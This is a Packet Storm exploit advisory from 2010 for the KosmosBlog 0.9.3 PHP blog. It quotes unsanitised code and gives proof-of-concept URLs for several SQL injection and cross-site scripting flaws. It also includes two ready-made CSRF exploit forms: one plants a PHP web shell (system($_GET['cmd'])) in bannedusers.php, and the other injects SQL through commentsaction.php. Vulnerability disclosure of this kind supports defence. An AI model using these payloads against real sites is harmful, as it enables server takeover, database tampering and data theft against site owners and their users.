what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

KosmosBlog 0.9.3 Cross Site Request Forgery / Cross Site Scripting / SQL Injection

KosmosBlog 0.9.3 Cross Site Request Forgery / Cross Site Scripting / SQL Injection
Posted Jan 22, 2010
Authored by Milos Zivanovic

KosmosBlog version 0.9.3 suffers from cross site request forgery, cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, csrf
SHA-256 | 5472409e89b322c8412cef58eca01362107cafb2c31a4f056af0a8e602fab177

KosmosBlog 0.9.3 Cross Site Request Forgery / Cross Site Scripting / SQL Injection

Change Mirror Download


[#-----------------------------------------------------------------------------------------------#]
[#] Title: KosmosBlog 0.9.3 (SQLi/XSS/CSRF) Multiple Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com<http://gmail.com>
[#] Date: 22. January 2010.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: KosmosBlog
[#] Version: 0.9.3
[#] Platform: PHP
[#] Link: http://www.kosmosblog.com/KosmosBlog%20-%200.9.3.zip
[#] Vulnerability: SQL Injection, Cross Site Scripting, Cross Site Request Forgery
[#-----------------------------------------------------------------------------------------------#]

http://www.kosmosblog.com/index.php

[#]Content
|
|--Everybody
| |--SQL Injection
| | |--index.php (GET kategorija)
| | |--index.php (GET id)
| | |--index.php (GET monthID)
| | |--index.php (GET yearID)
| | |--register.php (POST username & email)
| |
| |--Cross Site Scripting
| |--addcomment.php (GET id)
|
|--Logged in users
|--Persistent Cross Site Scripting
| |--addcontentgo.php (POST naslov)
|
|--SQL Injection
| |--deletecontent.php (GET id)
| |--usermanager.php (GET id)
|
|--Cross Site Request Forgery To Remote Code Execution
| |--bannedusers.php
|
|--Cross Site Request Forgery To SQL Injection
|--commentsaction.php

[~] EVERYBODY

[*] SQL INJECTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/mainincludes/templates/blackkosmos/indextmplt.php
if (isset($_GET['kategorija'])) {
generisivesti($_GET['kategorija']);
} elseif (isset($_GET['id'])) {
generisivesti(0,$_GET['id'],0);
// function generisivesti does not sanitize input variable before passing it to mysql query
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]index.php (GET kategorija)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?kategorija=[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

[-]index.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?id=1'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/funkcije.php
if (isset($_GET['yearID']))
{
$date_yearID = $_GET['yearID'];
} else {
$date_yearID = $date['year'];
}

if (isset($_GET['monthID']))
{
$date_monthID = $_GET['monthID'];
} else {
$date_monthID = $date['month'];
}
....
$eventQuery = mysql_query("... LIKE '".$date_yearID."-".$date_monthID...);
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]index.php (GET monthID)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?yearID=2010&monthID=2'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

[-]index.php (GET yearID)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?yearID=2010'[SQL_Injection]&monthID=2
[POC----------------------------------------------------------------------------------------------]

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/register.php
$userN = $_POST['user'];
...
$mail = $_POST['mail'];
...
mysql_query("... VALUES('$userN', '$loz', '$mail', ...
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]register.php (POST username & email)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/register.php
[POC----------------------------------------------------------------------------------------------]

In username and email fields we can inject our SQL code.


[*] CROSS SITE SCRIPTING

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/addcomment.php
if ($_GET['page'] == 'add'){
$link = "../index.php?id=".$_GET['id'];
}
?>
...
<META HTTP-EQUIV="refresh" content="3;URL=<?php echo $link; ?>">
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]addcomment.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/administration/addcomment.php?page=add&id="[XSS]
[POC----------------------------------------------------------------------------------------------]


[~] LOGGED IN USERS

[*] PERSISTENT CROSS SITE SCRIPTING

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/addcontentgo.php
switch ($_POST['type']) {
case "blogpost":
$title = $_POST['title'];
...
$sql = "INSERT INTO main_kosmos_blog SET naslov = '$title'...
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]addcontentgo.php (POST naslov)

When adding new post to blog, field 'naslov' is not sanitized. Here can also be used SQL Injection but, there are much better positions for SQLi attack, so i've chosen Persistent XSS for this one.


[*] SQL INJECTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/deletecontent.php
$id = $_GET['id'];
...
$result = @mysql_query("SELECT * FROM main_kosmos_blog WHERE id = '".$id."' ;");
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]deletecontent.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/administration/deletecontent.php?action=blogpost&id=1'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/usermanager.php
$result3 = @mysql_query(...`users_kosmos_blog` WHERE id='".$_GET['id']...
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]usermanager.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/administration/usermanager.php?action=obradi&id=1'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]


[*] CROSS SITE REQUEST FORGERY TO REMOTE CODE EXECUTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/bannedusers.php
$file=fopen("mainincludes/bannedusers.php","w");
$banned = $_POST['banned'];
fwrite ($file,$banned);
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]bannedusers.php

[EXPLOIT------------------------------------------------------------------------------------------]
<form method="post" action="http://kosmos/administration/bannedusers.php?action=process">
<input type="hidden" name="banned" value="<?php @system($_GET['cmd']); ?>">
<input type="hidden" name="type" value="link">
<input type="submit" name="submit" value="Snimi">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

After logged in user run this exploit, php code will be written into .php file and it will be ready to execute. File to run after successful exploitation:
http://kosmos/administration/mainincludes/bannedusers.php


[*] CROSS SITE REQUEST FORGERY TO SQL INJECTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/commentsaction.php
$id = $_POST['ids'];
...
for ($i = 0; $i < count($id); $i++) {
$idd = $id[$i];
...
$sql = "DELETE FROM `comments_kosmos_blog` WHERE id='".$idd."'";
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]commentsaction.php

[EXPLOIT------------------------------------------------------------------------------------------]
<form method="post" action="http://kosmos/administration/commentsaction.php">
<input type="hidden" name="action" value="ObriĊĦi">
<input type="hidden" name="ids[]" value="1'[SQL_Injection]">
<input type="submit" name="submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF


Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close